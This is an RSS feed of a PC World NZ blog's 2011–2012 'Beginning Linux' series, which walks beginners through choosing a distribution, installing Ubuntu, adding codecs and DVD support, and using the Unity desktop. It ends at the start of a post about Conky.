<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
   <channel>
      <title>Tux Love</title>
      <link>http://blogs.pcworld.co.nz/pcworld/tux-love/</link>
      <description></description>
      <language>en</language>
      <copyright>Copyright 2012</copyright>
      <lastBuildDate>Mon, 30 Jan 2012 23:04:32 +1300</lastBuildDate>
      <generator>http://www.sixapart.com/movabletype/?v=3.33</generator>
      <docs>http://blogs.law.harvard.edu/tech/rss</docs> 

            <item>
         <title>Beginning Linux : Part 4 - Exploring the Unity interface</title>
         <description><![CDATA[<img src="http://blogs.pcworld.co.nz/pcworld/tux-love/begin_linux.jpg"
alt="" style="width: 128px; height: 128px; float: left;" align="left"
hspace="5" vspace="5">
Ubuntu's <a href="http://unity.ubuntu.com/about/">Unity interface</a>
is a step away from traditional graphical user interfaces. The
intention is to make it the basis of a standard interface for
everything from PCs to tablets to phones, and it's implementation has
been <a
href="http://www.linux-magazine.com/Online/Blogs/Off-the-Beat-Bruce-Byfield-s-Blog/A-Disturbing-Dialog-About-Ubuntu-and-Unity">somewhat</a>
<a
href="http://www.extremetech.com/computing/106703-ubuntu-wake-up-and-smell-the-unity-against-you">controversial</a>.
It's predicated on two main ideas; that most users only ever use a
handful of applications, and that people prefer to search for things by
typing --
as they do on the web
-- rather than going through going through arcane menus and clicking on
drop-downs. I take issue with the second of those, but before
abandoning the interface entirely -- this is Linux, after all! --
it's worth
exploring Unity to see what it has to offer.<br>
<br>
<br>
<h3>Unity vs Unity 2D</h3>
There are two distinct forms of Unity -- Unity and Unity 2D -- and they
look almost identical, but they are built very differently. The
default, Unity, (sometimes called "Unity 3D"), uses the <a
href="http://en.wikipedia.org/wiki/Compiz">Compiz</a>
window manager and your fancy 3D graphics card to add all sorts of eye
candy like translucency and cool 3D graphical effects. It's really
designed for modern hardware. Older gear will perform better with Unity
2D.<br>
<br>
The easiest way to tell what you're running is to move your cursor over
the Dash button:<br>
<br>
<span style="font-weight: bold;"><img
style="width: 350px; height: 257px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub04-01.jpg"></span><br>
<br>
<br>
But that may change in future versions. A more reliable way is to type
this command in terminal window:<br>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204); font-family: monospace; font-weight: bold;"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"> <big><big>echo $DESKTOP_SESSION</big></big></td>
</tr>
</tbody>
</table>
<br>
A return value of "ubuntu" means Unity (3D), while "ubuntu-2d" means
Unity 2D.<br>
<br>
You can select which version to run at login. Just click the gear icon
before you enter your password.<br>
<br>
<span style="font-weight: bold;"><img
style="width: 372px; height: 126px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub04-02.jpg"></span><br>
<br>
Whatever you select will automatically become the default, so there's
no need to repeat this process every login.<br>
<br>
<br>
<br>
<h3>Unity's Launcher</h3>
The Launcher -- that icon bar on the left -- is Unity's most obvious
feature. Click on a button and the application will start. Running apps
get a little arrow head on the left, while the one currently in the
foreground also scores an arrow on the right:<br>
<br>
<span style="font-weight: bold;"><img
style="width: 400px; height: 144px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub04-03.jpg"></span><br>
<br>
Left-clicking a Launcher button will bring an already open application
to the
foreground, but what if you want to open a separate copy? Easy, just
click it with the middle button of your mouse
instead. (If you only have a two-button mouse, right-click the Launcher
button and choose <span style="font-weight: bold;">New<span
style="font-style: italic;"></span></span><span
style="font-style: italic;">.) <br>
<br>
</span>Unity will track each separate opening of the same application
by adding a check mark to the left ...<br>
<br>
<span style="font-weight: bold;"><img
style="width: 150px; height: 139px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub04-03Z.jpg"><br>
</span><br>
... so here I have three instances of Terminal running<br>
<br>
The exception to all of the above is the Dash button at the top of the
Launcher. This is the
place you search for and start apps not already on the Launcher. Once
an app is started, if you want to keep it there for easy access in
future, just right-click it and tick <span style="font-weight: bold;">Keep
in Launcher</span>:<br>
<br>
<span style="font-weight: bold;"><img
style="width: 227px; height: 126px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub04-04.jpg"></span><br>
<br>
To remove an item from the Launcher, right-click it and <span
style="font-style: italic;">untick</span> <span
style="font-weight: bold;">Keep in Launcher</span>.<br>
<br>
To re-order items, simply left-click the icon and drag it to where you
want.<br>
<br>
As the Launcher fills, items on the bottom will stack. Just move the
cursor over them and they'll unpack.<br>
<br>
<span style="font-weight: bold;"><img
style="width: 250px; height: 290px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub04-05.jpg"></span><br>
<br>
With items unstacked, use the mouse's scroll wheel to move through the
list, or left-click and drag to move quickly up and down the list.<br>
<br>
Unity has a number of nifty screen-space saving features like
hide-away scroll bars that only appear if you need them.<br>
<br>
<span style="font-weight: bold;"><img
style="width: 252px; height: 120px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub04-07.jpg"></span><br>
<br>
One initially confusing aspect for many new users is the apparent
absence of menus. (This is even more disturbing if you maximise an app
because the Exit, Maximise and Window buttons disappear too!) To find
them again, just move the cursor to the Status Bar at the top of the
screen ...<br>
<br>
<span style="font-weight: bold;"><img
style="width: 354px; height: 198px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub04-08.jpg"></span><br>
<br>
... or press the <span style="font-weight: bold;">&lt;Alt&gt;</span>
key.<br>
<br>
<br>
Unity has a heap of <a
href="https://help.ubuntu.com/11.10/ubuntu-help/shell-keyboard-shortcuts.html">keyboard
shortcuts</a> built-in. Here are some of the most useful:<br>
(Note: The Meta key is the one with the (shudder) Windows logo on it.)<br>
<br>
<table style="text-align: left; width: 100%;" border="0" cellpadding="2"
cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top; font-weight: bold;">Meta<br>
</td>
<td style="vertical-align: top;">Tap to open the Dash. Tap to
close it again.<br>
</td>
</tr>
<tr>
<td style="vertical-align: top; font-weight: bold;width: 150px;">Meta<br>
</td>
<td style="vertical-align: top;">Hold it down to reveal the
Launcher and number launchable applications. (See below.)<br>
</td>
</tr>
<tr>
<td style="vertical-align: top; font-weight: bold;">Meta + 1 <br>
<span style="font-style: italic;">thru to </span><br>
Meta + 0<br>
</td>
<td style="vertical-align: top;">Start Launcher item number <span
style="font-style: italic;">n</span> or switch to it if it's already
running. <br>
(Hold down Shift to open a new window.)<br>
</td>
</tr>
<tr>
<td style="vertical-align: top; font-weight: bold;">Meta + A<br>
</td>
<td style="vertical-align: top;">Open the Application selector.<br>
</td>
</tr>
<tr>
<td style="vertical-align: top; font-weight: bold;">Meta + F<br>
</td>
<td style="vertical-align: top;">Open Files and Folders.<br>
</td>
</tr>
<tr>
<td style="vertical-align: top; font-weight: bold;">Meta + T<br>
</td>
<td style="vertical-align: top;">Open Trash.<br>
</td>
</tr>
<tr>
<td style="vertical-align: top; font-weight: bold;">Ctrl + Alt + T<br>
</td>
<td style="vertical-align: top;">Open a Terminal window.<br>
</td>
</tr>
<tr>
<td style="vertical-align: top; font-weight: bold;">Alt<br>
</td>
<td style="vertical-align: top;">Reveal the Application menu.<br>
</td>
</tr>
<tr>
<td style="vertical-align: top; font-weight: bold;">Alt + Tab<br>
</td>
<td style="vertical-align: top;">Switch between windows.<br>
</td>
</tr>
</tbody>
</table>
<br>
<br>
<h3>Hidden Linuxy Goodness</h3>
There are a few other things you may not be aware of -- what I like to
call hidden Linuxy goodness. For example, you actually have four
separate workspaces available by default. That means, for example, you
could do word processing in workspace #1, email and web browsing in
space #2, programming in space #3, etc. and simply switch between them.<br>
<br>
<span style="font-weight: bold;"><img
style="width: 316px; height: 247px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub04-09.jpg"></span><br
style="font-weight: bold;">
<br>
This is where the next set of shortcut keys kick in:<br>
<br>
<table style="text-align: left; width: 100%;" border="0" cellpadding="2"
cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top; font-weight: bold;">Ctrl + Alt +
Arrow keys<br>
</td>
<td style="vertical-align: top;">Shift between workspaces<br>
</td>
</tr>
<tr>
<td style="vertical-align: top; font-weight: bold;">Meta + S<br>
</td>
<td style="vertical-align: top;">Activate the workspace switcher,
zooming out on all of them.<br>
</td>
</tr>
<tr>
<td style="vertical-align: top; font-weight: bold;">Meta + W<br>
</td>
<td style="vertical-align: top;">Show all windows from all
workspaces.<br>
</td>
</tr>
<tr>
<td style="vertical-align: top; font-weight: bold;">Ctrl + Alt +
Shift + Arrow keys<br>
</td>
<td style="vertical-align: top;">Move the current window to a
different workspace.<br>
</td>
</tr>
</tbody>
</table>
<br>
<br>
Another way of performing that last command is to right-click in an
application's Title Bar and choose <span style="font-weight: bold;">Move
to Another Workspace</span>.<br>
<br>
Perhaps you're now thinking that Unity's not so scary after all.
Personally, I rather like it. But if you'd like to try something more
conventional, tune in next time. Complete reconfiguration is only a
few commands away ...<br>
<br>
<br>
<table style="text-align: left; width: 400px;" border="0"
cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><br>
</td>
<td style="vertical-align: top;"><br>
</td>
<td style="vertical-align: top; text-align: right;"><br>
</td>
</tr>
</tbody>
</table>
<small><span style="font-style: italic;"></span></small><br>
<a href="http://www.twitter.com/GeoffPalmer"> <img
style="border: 0px solid ; width: 134px; height: 42px;"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/twitter-kiwi.gif"
alt="Follow Geoff Palmer on Twitter"></a>]]></description>
         <link>http://blogs.pcworld.co.nz/pcworld/tux-love/2012/01/beginning_linux_part_4_explori.html</link>
         <guid>http://blogs.pcworld.co.nz/pcworld/tux-love/2012/01/beginning_linux_part_4_explori.html</guid>
         <category></category>
         <pubDate>Mon, 30 Jan 2012 23:04:32 +1300</pubDate>
      </item>
            <item>
         <title>Beginning Linux : Part 3 - Adding hidden extras</title>
         <description><![CDATA[<img src="http://blogs.pcworld.co.nz/pcworld/tux-love/begin_linux.jpg"
alt="" style="width: 128px; height: 128px; float: left;" align="left"
hspace="5" vspace="5"></h3>
Now you've got Ubuntu <a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2011/12/beginning_linux_part_i_1.html">installed</a>
and <a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2012/01/beginning_linux_part_ii_1.html">running</a>,
you'll have probably noticed there are one or two things missing.
Things like MP3 playback and decoding, support for certain audio
formats, Microsoft fonts, Java runtime playback, Adobe Flash, and the
ability to play (and rip) DVDs.<br>
<br>
The reason this stuff's missed out from the default install is that
it's either proprietary -- meaning the source code is controlled by a
third party and you have to agree to their terms and conditions in
order to use it -- or it's subject to copyright restrictions, or, in
some countries (notably the US), there may be legal issues surrounding
its use. (You can find more about this stuff <a
href="http://www.ubuntu.com/project/about-ubuntu/licensing">here</a>.)<br>
<br>
Some users have philosophical reasons for not using closed-source
software too -- but many don't, and if you're one of them, read on ...<br>
<br>
<h3>Getting extras</h3>
We need to install more software, and to do so you'll want to start
Ubuntu's Software Centre. There are two ways to do this;<br>
The graphical way is as follows:<br>
<br>
Click the <span style="font-weight: bold;">Dashboard Home</span>
button (on the top left),<br>
<img style="width: 69px; height: 78px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/BL-03_01.jpg"><br>
<br>
<br>
choose <span style="font-weight: bold;">More Apps</span>,<br>
<img style="width: 116px; height: 146px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/BL-03_02.jpg"><br>
<br>
<br>
select <span style="font-weight: bold;">System</span>,<br>
<img style="width: 170px; height: 111px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/BL-03_03.jpg"><br>
<br>
<br>
click on <span style="font-weight: bold;">Installed (See more results),</span><br>
<img style="width: 249px; height: 37px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/BL-03_04.jpg"><br>
<br>
<br>
then scroll down and click <span style="font-weight: bold;">Ubuntu
Software</span>.<br>
<img style="width: 106px; height: 136px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/BL-03_05.jpg"><br>
<br>
<br>
<br>
Alternatively, you can hit <span style="font-weight: bold;">&lt;Alt +
F2&gt;</span> to open the <span style="font-weight: bold;">Run a
command</span> dialog box and start typing "software". Various options
will filter out underneath, and you can click on <span
style="font-weight: bold;">Software Centre</span> from there.<br>
<br>
<img style="width: 290px; height: 230px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/BL-03_06.jpg"><br>
<br>
<br>
<br>
Once Ubuntu Software Centre is running, type "restricted" in the search
pane,<br>
<img style="width: 286px; height: 44px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/BL-03_07.jpg"><br>
<br>
<br>
select <span style="font-weight: bold;">Ubuntu Restricted Extras</span>
and click <span style="font-weight: bold;">Install</span>. <br>
<img style="width: 393px; height: 87px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/BL-03_08.jpg"><br>
<br><br>
You may get a dialog box warning that a couple of existing packages
will need to be removed. That's fine. They'll be replaced with
different versions. Just click <span style="font-weight: bold;">Install
Anyway</span>.<br>
<img style="width: 371px; height: 336px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/BL-03_09.jpg"><br>
<br>
<br>
Of course, Linux doesn't allow any old user to install any old
software. You'll have to supply your root ("system admin")&nbsp;
password
first.<br>
<img style="width: 429px; height: 288px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/BL-03_10.jpg"><br>
<br>
<br>
And now you'll get a blast from the past: license agreements. Remember
them? Trust me, they're a rarity in the free software world!<br>
<br>
Installation progress is shown in a little bar above the <span
style="font-weight: bold;">Install</span> button.<br>
<img style="width: 119px; height: 88px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/BL-03_11.jpg"><br>
<br>
And that's it. Your first program (actually, <span
style="font-style: italic;">multiple</span>-program) installation.
Pretty easy, eh? (Yes, all new installations are that simple.)<br>
<br>
<br>
<h3>The CSS secret<br>
</h3>
But we're not quite done yet. While you can now play unencrypted DVDs,
you still won't be able to play most commercial ones due to their use
of the Content Scramble System (or <a
href="http://en.wikipedia.org/wiki/Content_Scramble_System">CSS</a>),
a proprietary encryption system that was <a
href="http://en.wikipedia.org/wiki/DeCSS">cracked over a decade ago</a>.
In some countries it's <span style="font-style: italic;">still</span>
not legal to possess a copy of DeCSS (the unencryption program), and
that's why it has to be installed separately.<br>
<br>
To do that, we're going to look at another way to install software:
directly from the command line.<br>
<br>
Click the <span style="font-weight: bold;">Dash Home</span> button and
type "terminal" in the search line. Click the Terminal icon and you're
ready.<br>
<img style="width: 87px; height: 110px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/BL-03_12.jpg"><br>
<br>
The necessary library (libdvdread4) should already have been installed
as part of the Restricted Extras package, but it does no harm to check.
Type in this command and press &lt;Enter&gt;:<br>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204); font-family: monospace; font-weight: bold;"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><big><big>sudo apt-get install
libdvdread4</big></big></td>
</tr>
</tbody>
</table>
<br>
You'll be asked to supply the root password, and you should then get a
message saying that it's already been installed. If you don't, go ahead
and install it.<br>
<br>
Now you need to install the CSS bit. You do so with this command:<span
style="font-family: monospace;"><br>
</span><br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204); font-family: monospace; font-weight: bold;"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><big><big>sudo
/usr/share/doc/libdvdread4/install-css.sh</big></big></td>
</tr>
</tbody>
</table>
<br>
Done! Close the terminal window -- <span style="font-weight: bold;">&lt;Ctrl
+ D&gt;</span> is a shortcut key for this -- and enjoy your DVDs. <br>
<br>
If you still have problems, check out <a
href="https://help.ubuntu.com/community/RestrictedFormats/PlayingDVDs">Playing
DVDs</a> on the Ubuntu site.<br>
<br>
<table style="text-align: left; width: 400px;" border="0"
cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><br>
</td>
<td style="vertical-align: top;"><br>
</td>
<td style="vertical-align: top; text-align: right;"><br>
</td>
</tr>
</tbody>
</table>
<small><span style="font-style: italic;"></span></small><br>
<a href="http://www.twitter.com/GeoffPalmer"> <img
style="border: 0px solid ; width: 134px; height: 42px;"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/twitter-kiwi.gif"
alt="Follow Geoff Palmer on Twitter"></a>]]></description>
         <link>http://blogs.pcworld.co.nz/pcworld/tux-love/2012/01/beginning_linux_part_iii_1.html</link>
         <guid>http://blogs.pcworld.co.nz/pcworld/tux-love/2012/01/beginning_linux_part_iii_1.html</guid>
         <category>Beginning Linux</category>
         <pubDate>Fri, 20 Jan 2012 16:44:26 +1300</pubDate>
      </item>
            <item>
         <title>Beginning Linux : Part 2 - Installation step-by-step</title>
         <description><![CDATA[<img src="http://blogs.pcworld.co.nz/pcworld/tux-love/begin_linux.jpg"
alt="" style="width: 128px; height: 128px; float: left;" align="left"
hspace="5" vspace="5"></h3>
Linux downloads typically come as <a
href="http://en.wikipedia.org/wiki/Iso_image">ISO images</a> that will
burn directly to a CD. You can also <a
href="http://www.ubuntu.com/download/ubuntu/download">install them on
a USB stick</a> and boot them from there. But how do you get them to
actually boot?<br>
<br>
Most PCs are configured to boot from a removable disk first, a CD if no
removable disk is found, then a hard disk drive if neither of the
others are present, <span style="font-style: italic;">but you can't
guarantee that!</span> If your machine goes straight to hard disk,
you'll need to change your BIOS settings, which can be accessed by
pressing F2, F12, Delete, or ESC at boot. (The appropriate key differs
with different BIOS makers.)<br>
<br>
Note that you may need to change <span style="font-style: italic;">two</span>
settings in some BIOSes. Adding a USB stick to my American Megatrends
BIOSed machines requires checking the <span style="font-weight: bold;">Boot
Device Priority</span> <span style="font-style: italic;">and</span>
setting the <span style="font-weight: bold;">Hard Disk Drives</span>
so that the first drive is the USB, not the hard disk.<br>
<br>
And that's about as technical as it gets. With the boot disk booting,
you're on your way. The rest is really straightforward.<br>
<br>
(If you still have boot problems -- especially with older CD-ROM
hardware -- check <a
href="https://help.ubuntu.com/10.10/installation-guide/hppa/boot-troubleshooting.html">this
link</a> out.)<br>
<br>
<br>
<br>
<h3>Installation: A graphical
walk-through</h3>
<img style="width: 400px; height: 328px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub01.jpg"><br>
<br>
I'm guessing you can figure out what to click here ...<br>
<br>
<br>
<br>
<img style="width: 400px; height: 299px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub02.jpg"><br>
<br>
You have two additional options here: if you're connected to the net
and have a reasonably fast broadband connection, tick <span
style="font-weight: bold;">Download updates while installing</span>,
but note that the installation process may take quite a bit longer.
(You'll be presented with automatic updates once you're up and running,
so adding them now isn't essential -- especially as you're probably
keen to Ubuntu going!)<br>
<br>
The second option to <span style="font-weight: bold;">Install third
party software</span> should be ticked. I'm not sure what hardware's on
your machine, but you probably want it all to work!<br>
<br>
<br>
<br>
<img style="width: 400px; height: 280px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub03.jpg"><br>
<br>
Unless you're an advanced user or really know what you're doing with
hard disk partitions, choose <span style="font-weight: bold;">Install
Ubuntu alongside</span> your existing operating system(s).<br>
<br>
<br>
<br>
<img style="width: 400px; height: 328px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub04.jpg"><br>
<br>
If you're connected to the net, Ubuntu will take a stab at where you
are. If it gets it wrong, just click the appropriate time zone.<br>
<br>
<br>
<br>
<img style="width: 400px; height: 287px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub05.jpg"><br>
<br>
Local (New Zealand) keyboard layouts are typically <span
style="font-weight: bold;">English (US)</span> / <span
style="font-weight: bold;">English (US)</span>, but Linux can
accommodate everyone.<br>
<br>
<br>
<br>
<img style="width: 400px; height: 317px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub05a.jpg"><br>
<br>
Now for the tricky stuff: who are you? I'll leave you to figure that
out.<br>
<br>
There are two other options to consider: <span
style="font-weight: bold;">Log in automatically</span> is fine if
you're the only user of the machine. Personally, I prefer the default: <span
style="font-weight: bold;">Require my password to log in</span>. It's
just more secure.<br>
<br>
<br>
<br>
<img style="width: 400px; height: 328px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub06.jpg"><br>
<br>
It depends on your hardware, but a typical Linux installation
(excluding automatic updates) will take 10-20 minutes. In the meantime,
browse some slides of what you new OS can do, or just go and make a
coffee.<br>
<br>
<br>
<br>
<img style="width: 400px; height: 102px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub07.jpg"><br>
<br>
That's it. Ready for a reboot.<br>
<br>
<br>
<br>
<img style="width: 400px; height: 282px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub08.jpg"><br>
<br>
At boot time, you'll now get a menu allowing you to choose which
operating system to start. By default it's set to Ubuntu, and if you do
nothing for 10 seconds Ubuntu will start automatically. But of course,
this is Linux. All this is configurable -- and I'll show you how in
coming blogs.<br>
<br>
<br>
<small><span style="font-style: italic;"></span></small><br>
<img style="width: 400px; height: 300px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ub09.jpg"><br>
<br>
In the meantime, check out Ubuntu and the new Unity desktop.<br>
<br>
Next time, we'll have a quick look at what's there (and what's
missing). And how to add the missing stuff!<br>
<br>
<table style="text-align: left; width: 400px;" border="0"
cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><br>
</td>
<td style="vertical-align: top;"><br>
</td>
<td style="vertical-align: top; text-align: right;"><br>
</td>
</tr>
</tbody>
</table>
<small><span style="font-style: italic;"></span></small><br>
<a href="http://www.twitter.com/GeoffPalmer"> <img
style="border: 0px solid ; width: 134px; height: 42px;"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/twitter-kiwi.gif"
alt="Follow Geoff Palmer on Twitter"></a>]]></description>
         <link>http://blogs.pcworld.co.nz/pcworld/tux-love/2012/01/beginning_linux_part_ii_1.html</link>
         <guid>http://blogs.pcworld.co.nz/pcworld/tux-love/2012/01/beginning_linux_part_ii_1.html</guid>
         <category>Beginning Linux</category>
         <pubDate>Thu, 12 Jan 2012 15:25:04 +1300</pubDate>
      </item>
            <item>
         <title>Beginning Linux - Part 1 - Getting into Linux</title>
         <description><![CDATA[<img src="http://blogs.pcworld.co.nz/pcworld/tux-love/begin_linux.jpg"
alt="" style="width: 128px; height: 128px; float: left;" align="left"
hspace="5" vspace="5"></h3>
<br>
In this month's <a href="http://www.mags4gifts.co.nz/pc-world">print
edition of PC World</a>,
reader David Crickmer mentions he'd like to see a series about getting
started in Linux. Since this blog largely revolves around the portly
penguin, I thought I'd give it a go ...<br>
<br>
<br>
<h3>Which Linux?</h3>
<table style="text-align: left; width: 100%;" border="0" cellpadding="2"
cellspacing="2">
<tbody>
<tr>
<td colspan="3" rowspan="1" style="vertical-align: top;">The
first decision -- which "brand" of Linux to opt for -- can seem the
most daunting. Since Linux is free and open, <span
style="font-style: italic;">anyone</span> can create their own unique
release. Linux versions are known as <span style="font-weight: bold;">distributions</span>,
and the website <a href="http://www.distrowatch.com/">DistroWatch.com</a>
lists more than 4,000 of 'em!<br>
<br>
You'll
find Linuxes targeted at specific hardware from the latest netbooks to
ancient PCs. There are Linuxes designed for specific purposes such as
computer
forensics or disk partitioning; Linuxes to run web servers and
supercomputers; Linuxes for scientists, mathematicians and astronomers;
Linuxes to build media players or backup servers; Linuxes for national,
religious and political groups; and even Linuxes that mimic the look
and feel of other well-known operating systems.<br>
<br>
</td>
</tr>
<tr>
<td style="vertical-align: top;"><a
href="http://upload.wikimedia.org/wikipedia/commons/f/f6/Gldt1106.svg"><img
style="border: 0px solid ; width: 200px; height: 150px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/timeline.jpg"
align="left" hspace="5" vspace="5"></a></td>
<td colspan="1" rowspan="2" style="vertical-align: top;">The key
point to remember is that <span style="font-style: italic;">all</span>
versions of Linux are based on the Unix operating system. I won't say
that once you've mastered one, you've mastered them all, but it's
certainly the case that once you're familiar with the way Linux works,
you
won't be daunted by <span style="font-style: italic;">any</span> of
those 4,000+ distros!<br>
<br>
They're all free, and if you don't like one, it's easy to replace it
with another.<br>
</td>
<td style="vertical-align: top;"><br>
</td>
</tr>
<tr>
<td style="vertical-align: top;"><small><small
style="font-weight: bold;">This astonishing Linux time-line<br>
charts the linkages and relation-<br>
ships between many well-known <br>
distros.</small><br>
</small></td>
<td style="vertical-align: top;"><br>
</td>
</tr>
</tbody>
</table>
<br>
<br>
<h3>Which Desktop?</h3>
<table style="text-align: left; width: 100%;" border="0" cellpadding="2"
cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: bottom;"><img
style="width: 200px; height: 129px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/desktop-gnome.jpg"
hspace="5" vspace="5"></td>
<td colspan="1" rowspan="6" style="vertical-align: top;"><br>
There
are three main Linux desktops -- the <span style="font-weight: bold;">desktop</span>
being the Graphical User Interface (or GUI) that forms the basis of
your working environment. <a href="http://www.gnome.org/">Gnome</a>,
(aficionados pronounce it "<span style="font-style: italic;">g-nome</span>"
as opposed to "<span style="font-style: italic;">nome</span>"), <a
href="http://www.kde.org/">KDE</a> (short for the K Desktop
Environment), and <a href="http://unity.ubuntu.com/">Unity</a>
(recently released by Ubuntu).<br>
<br>
All have their particular strengths, but don't get too hung up on which
one to pick at this stage. While some distros are desktop-specific,
most allow you to install alternatives so you can try them all and see
which you prefer -- which is exactly what we'll be doing a bit later
on. (One of the neat things about Linux is that you don't need to
reboot to change desktops. Just log out and log in again!)<br>
<br>
<br>
</td>
</tr>
<tr align="center">
<td style="vertical-align: top;"><small><small><span
style="font-weight: bold;">Gnome 3</span></small></small><br>
</td>
</tr>
<tr>
<td style="vertical-align: top;"><img
style="width: 200px; height: 125px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/desktop-kde.jpg"
hspace="5" vspace="5"></td>
</tr>
<tr align="center">
<td style="vertical-align: top;"><small><small><span
style="font-weight: bold;">KDE 4.7</span></small></small><br>
</td>
</tr>
<tr>
<td style="vertical-align: top;"><img
style="width: 200px; height: 137px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/desktop-unity.jpg"
align="left" hspace="5" vspace="5"></td>
</tr>
<tr align="center">
<td style="vertical-align: top;"><small style="font-weight: bold;"><small>Unity</small></small><br>
</td>
</tr>
</tbody>
</table>
<br>
<br>
<h3>Getting Hold of Linux</h3>
OK, so where do you get it?<br>
<br>
Frankly, Linux is everywhere, and one of the easiest sources is the
good old magazine cover disc. (This month's print edition of <a
href="http://pcworld.co.nz/">PC World</a> features no less than three
complete distributions!)<br>
<br>
The other alternative is to download and burn your own CD or write it
to a USB stick. A typical distro is around 600-650MB so you'll need a
broadband account or a lot of patience. We're going to focus on <a
href="http://www.ubuntu.com">Ubuntu</a> for this series, and you'll
find it's download alternatives <a
href="http://www.ubuntu.com/download">here</a>. <br>
<br>
One of the reasons I recommend Ubuntu is that it's only tremendously
popular and has great user support, but it also has three simple
installation alternatives; you can do a straight download and install,
run it from a CD or USB drive, or even install and run it under Windows.<br>
<br>
<a href="http://www.ubuntu.com/download"><img
style="border: 0px solid ; width: 400px; height: 166px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/ubuntu_install.jpg"></a><br>
<br>
<table style="text-align: left; width: 100%;" border="0" cellpadding="2"
cellspacing="2">
<tbody>
<tr>
<td
style="vertical-align: top; background-color: rgb(255, 221, 170);"><span
style="font-weight: bold;">Why not run Linux from a CD or DVD?</span><br>
In a word, performance. CD/DVD-ROM drives are utter slugs compared to
hard disc drives. If you want to give Linux a reasonable run, use a
USB-2 or USB-3 drive, but for my money, HDD is best!</td>
</tr>
</tbody>
</table>
<br>
<span style="font-weight: bold;"></span>I'm not going to give you
chapter and verse on download and installation, mainly because Ubuntu
do it so well! Really, <a href="http://www.ubuntu.com/download">check
out their website</a>. Simply select your preferred alternative and
follow the instructions.<br>
<br>
If you're still a little nervous, simply download and burn a copy to CD
and next time I'll walk you through the installation process,
screen-by-screen. I'll also show you how to default to your preferred
operating system on boot, and -- heaven forbid -- deinstall Linux if
you hate it. <br>
<small><span style="font-style: italic;"></span></small><br>
<table style="text-align: left; width: 400px;" border="0"
cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><br>
</td>
<td style="vertical-align: top;"><br>
</td>
<td style="vertical-align: top; text-align: right;"><br>
</td>
</tr>
</tbody>
</table>
<small><span style="font-style: italic;"></span></small><br>
<a href="http://www.twitter.com/GeoffPalmer"> <img
style="border: 0px solid ; width: 134px; height: 42px;"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/twitter-kiwi.gif"
alt="Follow Geoff Palmer on Twitter"></a>]]></description>
         <link>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/12/beginning_linux_part_i_1.html</link>
         <guid>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/12/beginning_linux_part_i_1.html</guid>
         <category>Beginning Linux</category>
         <pubDate>Thu, 08 Dec 2011 17:54:09 +1300</pubDate>
      </item>
            <item>
         <title>Hidden Linux : Divide and Conky</title>
         <description><![CDATA[<img src="http://blogs.pcworld.co.nz/pcworld/tux-love/hiddenlinux.png"
alt="" style="width: 128px; height: 128px; float: left;" hspace="5"
vspace="5"><br>
<a href="http://conky.sourceforge.net/">Conky</a> is, in it's own
